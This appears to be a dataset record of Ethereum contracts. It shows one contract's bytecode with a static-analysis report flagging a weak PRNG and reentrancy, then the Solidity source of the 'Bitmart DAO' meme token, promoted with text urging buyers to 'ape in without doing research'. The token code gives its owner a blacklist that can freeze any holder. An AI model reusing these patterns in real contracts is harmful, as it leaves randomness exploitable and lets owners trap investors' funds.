0a060020a0316331461074157600080fd5b600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a5481565b600e54600160a060020a0316331461078d57600080fd5b600a91909155600955565b600e54600160a060020a031633146107af57600080fd5b62030d408111156107bf57600080fd5b60128190556107ce6002610e21565b6107d86005610e21565b6107e2600a610e21565b6107ec600f610e21565b6107f66014610e21565b6108006019610e21565b61080a6021610e21565b50565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b6020831061087b5780518252601f19909201916020918201910161085c565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b600e54600160a060020a031633146108c557600080fd5b6000908152600f6020526040902055565b600e54600160a060020a031633146108ed57600080fd5b601355565b600e54600160a060020a0316331461090957600080fd5b600b805460ff1916911515919091179055565b600160000154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561080a573d6000803e3d6000fd5b600e54600160a060020a0316331461097057600080fd5b61080a81610e4e565b6000610983611970565b3360009081526008602052604081205460ff161515610a2957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f6d73672e73656e6465722073686f756c6420626520612076616c69642062616e60448201527f6b726f6c6c000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600b5460ff1615610a3957600080fd5b600160a060020a038716825260208201869052835184906000908110610a5b57fe5b016020015160f860020a908190048102049050610a7c60ff82168387610f76565b5060019695505050505050565b600b5460009060ff1615610a9c57600080fd5b610aa5336112bd565b90505b90565b600e54600160a060020a031681565b60135481565b600d5481565b600c5481565b6012546000918252600f602052604090912054620f424091020490565b600e54600160a060020a03163314610b0057600080fd5b600d55565b60145481565b600b5460ff1681565b601660205260009081526040902054600160c060020a0381169065ffffffffffff60c060020a8204169060ff60f060020a820481169160f860020a90041684565b600e54600160a060020a03163314610b6c57600080fd5b600e54600160a060020a0316ff5b60115481565b6103e881565b600e54600160a060020a03163314610b9d57600080fd5b60026000819052600f6020527fa74ba3945261e09fde15ba3db55005b205e61eeb4ad811ac0faa2b315bffeead829055610bd690610e21565b60056000819052600f6020527f6bda57492eba051cb4a12a1e19df47c9755d78165341d4009b1d09b3f3616204829055610c0f90610e21565b600a6000819052600f6020527fa13a7a52a9cbb6a90f40d40fbf35f68146be73226e0f48ff16963183fd5684ad829055610c4890610e21565b600f600081905260208190527f09567c41c2b819e512ebbfc896a7d795b901b9f15f7637726d97561d5276acb0829055610c8190610e21565b60146000819052600f6020527f7c16d5886e618926ff2a48ede610aee33ddc3e26b240b1a3e692dab251ff80af829055610cba90610e21565b60196000819052600f6020527f87f994d5ae59a99e2acf48b36d480618800117e5705e341836567036c9771939829055610cf390610e21565b60216000819052600f6020527f4cf9b7e1ac9fdf6c76aa2106d1bb2d28737e17b29c4288bf23778389315a5ba982905561080a90610e21565b3360009081526008602052604090205460ff161515610dd257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f6d73672e73656e6465722073686f756c6420626520612076616c69642062616e60448201527f6b726f6c6c000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600f60205260409020819055610dec82610e21565b5050565b600f6020526000908152604090205481565b600083610e0f848461080d565b811515610e1857fe5b06949350505050565b6012546000828152600f6020526040902054620f4240910260009283526010602052604090922091049055565b6000805473ffffffffffffffffffffffffffffffffffffffff191673b9ab8eed48852de901c13543042204c6c569b811178155604080517fb1db1cac0000000000000000000000000000000000000000000000000000000081529051600160a060020a0384169163b1db1cac9160048083019260e092919082900301818787803b158015610edb57600080fd5b505af1158015610eef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525060e0811015610f1457600080fd5b50610f23906001906007611987565b50600090505b6007811015610dec57600160086000828460078110610f4457fe5b0154600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101610f29565b610f7e6119ec565b600b5460009060ff1615610f9157600080fd5b83602001518584610fa181610acc565b610fab8484611736565b108015610fba57506013548310155b8015610fc85750600a548210155b8015610fd657506009548211155b1515610fe157600080fd5b6020870151600160c060020a0311610ff857600080fd5b65ffffffffffff431061100a57600080fd5b60ff861061101757600080fd5b8651600160a060020a031660009081526016602090815260409182902082516080810184529054600160c060020a038116825265ffffffffffff60c060020a82041692820183905260ff60f060020a820481169483019490945260f860020a9004909216606083015290955043141561108f57600080fd5b602085015165ffffffffffff16156110ae5786516110ac906112bd565b505b43856020019065ffffffffffff16908165ffffffffffff168152505086602001518560000190600160c060020a03169081600160c060020a03168152505087856040019060ff16908160ff168152505085856060019060ff16908160ff168152505084601660008960000151600160a060020a0316600160a060020a0316815260200190815260200160002060008201518160000160006101000a815481600160c060020a030219169083600160c060020a0316021790555060208201518160000160186101000a81548165ffffffffffff021916908365ffffffffffff160217905550604082015181600001601e6101000a81548160ff021916908360ff160217905550606082015181600001601f6101000a81548160ff021916908360ff1602179055509050507fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe876000015188602001518a6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16014805460010190556020870151601580549091019055600b54610100900460ff1680156112725750600d548551600160c060020a031610155b156112b35761129b6112938660000151600160c060020a0316600c54611788565b6127106117be565b93506112b3876000015185876060015160ff166117d5565b5050505050505050565b60006112c76119ec565b50600160a060020a038216600090815260166020908152604080832081516080810183529054600160c060020a03811680835265ffffffffffff60c060020a8304169483019490945260ff60f060020a820481169383019390935260f860020a900490911660608201529190819081908190811061134457600080fd5b602085015165ffffffffffff1643141561135d57600080fd5b60ff856020015165ffffffffffff164303111561137e576103e8935061139c565b6113966064866020015165ffffffffffff1689610e02565b60010193505b846040015160ff169250828410156115905784516113c390600160c060020a031684611736565b91506113d5856060015160ff16610acc565b9050808211156113e3578091505b6113f4856060015160ff168361187f565b845160408051600160a060020a038a1681526020810187905280820186905260608101859052600160c060020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a161146c856060015160ff16610e21565b60408051608081018252600080825260208083018281528385018381526060808601858152600160a060020a038f1686526016909452959093209351845491519351925177ffffffffffffffffffffffffffffffffffffffffffffffff19909216600160c060020a03918216177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a65ffffffffffff90951694909402939093177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a60ff93841602177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a9183169190910217909255875192880151611588938b939216860191166117d5565b83955061172c565b845160408051600160a060020a038a1681526020810187905280820186905260608101859052600160c060020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1611616856060015160ff168660000151600160c060020a03166118b4565b60408051608081018252600080825260208083018281528385018381526060808601858152600160a060020a038f1686526016909452959093209351845491519351925177ffffffffffffffffffffffffffffffffffffffffffffffff19909216600160c060020a03909116177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a65ffffffffffff90941693909302929092177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a60ff92831602177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a9282169290920291909117909155908601516115889116610e21565b5050505050919050565b6000826103e8601154856117546001876118d390919063ffffffff16565b61176587600163ffffffff6118d316565b606403880281151561177357fe5b04010281151561177f57fe5b04039392505050565b60008083151561179b57600091506117b7565b508282028284828115156117ab57fe5b04146117b357fe5b8091505b5092915050565b60008082848115156117cc57fe5b04949350505050565b6000806117e1836118e5565b9150600182600781106117f057fe5b0154604080517f8ccd227c000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301526024820188905291519190921692508291638ccd227c91604480830192600092919082900301818387803b15801561186057600080fd5b505af1158015611874573d6000803e3d6000fd5b505050505050505050565b6000828152600f602052604090205461189e908263ffffffff6118d316565b6000928352600f60205260409092209190915550565b6000828152600f602052604090205461189e908263ffffffff61196116565b6000828211156118df57fe5b50900390565b600081601e81106118f9576006915061195b565b6019811061190a576005915061195b565b6014811061191b576004915061195b565b600f811061192c576003915061195b565b600a811061193d576002915061195b565b6005811061194e576001915061195b565b600281106101cc57600091505b50919050565b6000828201838110156117b357fe5b604080518082019091526000808252602082015290565b82600781019282156119dc579160200282015b828111156119dc578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390911617825560209092019160019091019061199a565b506119e8929150611a13565b5090565b60408051608081018252600080825260208201819052918101829052606081019190915290565b610aa891905b808211156119e857805473ffffffffffffffffffffffffffffffffffffffff19168155600101611a195600a165627a7a72305820c3cb600b3c72e0b2fde7bdf29e00dbaa3c3f83f06783de70012047f58c1931810029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,533 |
0xa93e41df7dbfe0a3a1746a564c011337c5bf70c0 | /**
_____________________________________________________________________
|.============[ FOR THOSE WHO SUFFERED GREATLY ]============.|
||%&%&%&%_ _ _ _ _ _ _ _ _ _ _ _ _ %&%&%&%&||
||%&%&%&/||_||_ | ||\||||_| \ (_ ||\||_(_ /\|_ |\|V||_|)|/ |\ \%&%&%||
||&%.--.}|| ||_ \_/| ||||_|_/ ,_)|||||_,_) \/| ||| ||_|\|\_||{.--.%&||
||%/__ _\ ,-----,-'____'-,-----, /__ _\ ||
||||_ / \| [ .-;"`___ `";-. ] ||_ / \|||
||| \| || Soon on Uniswap`).'.'.'`_ _'. '.'.(` A 76355942 J | \| ||||
|||,_/\_/| // / .' '\ \\ |,_/\_/|||
||%\ / d8888b // | / _ _ | \\ .-"""-. \ /%||
||&%&--' 8P |) Y8 || //; a \a \ || //A`Y A\\ '--'%&||
||%&%&| 8b |) d8 || \\ '. _> .| || ||.-'-.|| |&%&%||
||%&%&| Y8888P || `| `-'_ ` | || \\_/~\_// |&%&%||
||%%%%| || ;'. ' ` / || '-...-' |%&%&||
||%&%&| 1% Buy limit /;\ _.-'. `-..'`>-._ /;\ |%&%&||
||&%.--. (, ': \; >-'` ;` ,) .--.%&||
||%( 50 ) 1 """"""" _( \ ;...---""---...; / )_```"""""""1 ( 50 )%||
||&%'--'============\`----------,----------------`/============'--'%&||
||%&JGS&%&%&%&%&&%&%&) BITMART DAO (%&%&%&%&%&%&&%&%&%&||
'"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""`
Bitmart DAO
"For those of us who have suffered greatly from todays Bitmart events. It's been a dry last few days, our beloved
Ethereum-retirement-plan-investment has let us down. Most of us tethered, but for those of us who didn't it's time
to ape in without doing research. Made by those who ape, for those who want to ape. At the end of the day we'll
always leave some ETH to buy yet another ERC20 token that gives us either an adrenaline rush or makes us sick."
Telegram: t.me/bitmartdao (whining about botted telegram calls will NOT be tolerated)
Website: Will be made whenever I feel like it's needed to
Twitter: Enough activity on twitter right now, regarding Bitmart!
Tokenomics:
> 10% LP Fee (20% of that goes back to holders)
(check SwapAndLiquify part in the contract, if you wonder how this will work)
> 1,000,000 Total Supply
> Automated buy control to stop bots from getting big portions of total supply
> 1% buy limit to start off, increases to unlimited whenever x-transactions are made
> Router does not get clogged, math issue in total contract balance is fixed
> 7 Ethereum starting liquidity, will lock this for 30 days at team.finance (if you don't trust us, wait to buy)
> No Team tokens, no presale -> 100% of total supply will be avaible for purchase.
**/
/**
// SPDX-License-Identifier: Unlicensed
**/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address to, uint value) external returns (bool);
}
contract BitmartDAO is Context, IERC20, Ownable {
string private constant _name = unicode"Bitmart DAO";
string private constant _symbol = "BMDAO";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c;
address private wallet1;
address private uniswapV2Pair;
address private WETH;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private buyCounter;
uint8 private constant _decimals = 9;
uint16 private maxTx;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 ethToOwner);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable _wallet1) {
c = address(this);
wallet1 = _wallet1;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[wallet1] = true;
excludeFromReward(owner());
excludeFromReward(c);
excludeFromReward(wallet1);
emit Transfer(address(0),c,_tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 0;
_LiquidityFee = 10;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (!inSwap) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (buyCounter < 100)
require(amount <= _tTotal * maxTx / 1000);
buyCounter++;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) {
if (swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
if (!inSwap) {
if (buyCounter == 5)
maxTx = 20; //2%
if (buyCounter == 15)
maxTx = 30; //3%
if (buyCounter == 40) {
maxTx = 1000; //100%
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 balance = c.balance / 5;
sendETHToFee(balance*4);
sendETHToOwner(balance);
emit SwapAndLiquify(contractTokenBalance, balance*4, balance);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
c,
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = WETH;
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(wallet1).transfer(ETHamount);
}
function sendETHToOwner(uint256 ETHamount) private {
payable(owner()).transfer(ETHamount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH);
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
maxTx = 10; // 1% For those who suffered, actually insane how Bitmart doesn't aknowledge what happened.
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0));
tradingOpen = true;
swapEnabled = true;
}
function manualswap() external {
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061389b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190613488565b6103f6565b6040516101629190613880565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906139bd565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613435565b610423565b6040516101ca9190613880565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061339b565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613a69565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061339b565b61061e565b60405161027291906139bd565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b491906137b2565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df919061389b565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190613488565b6108c2565b60405161031c9190613880565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906134c8565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906133f5565b6110d2565b6040516103b091906139bd565b60405180910390f35b60606040518060400160405280600b81526020017f4269746d6172742044414f000000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613c0b565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567906138fd565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611caf565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1b565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906138fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f424d44414f000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906138fd565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613df6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613d1e565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d82565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906138fd565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b219061397d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906133c8565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffff